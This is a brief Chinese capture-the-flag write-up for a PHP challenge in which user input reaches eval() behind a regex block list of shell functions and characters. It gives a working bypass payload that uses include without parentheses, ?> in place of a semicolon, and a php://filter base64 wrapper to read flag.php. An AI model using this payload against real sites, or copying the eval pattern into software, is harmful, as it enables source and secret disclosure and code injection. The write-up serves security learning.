CTF-25解题思路

源码分析：

<?php error_reporting(0);
if(isset($_GET['c']))
{ 
    $c = $_GET['c'];
    if(!preg_match("/flag|system|exec|shell|php|\.| |\'|\`|echo|\;|\(/i", $c))
    { 
        eval($c); 
    }
}
else
{
     highlight_file(__FILE__); 
}

考点：

绕过特殊字符和一些函数的过滤

payload：

?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

知识点：

include可以不用括号，分号可以用?>代替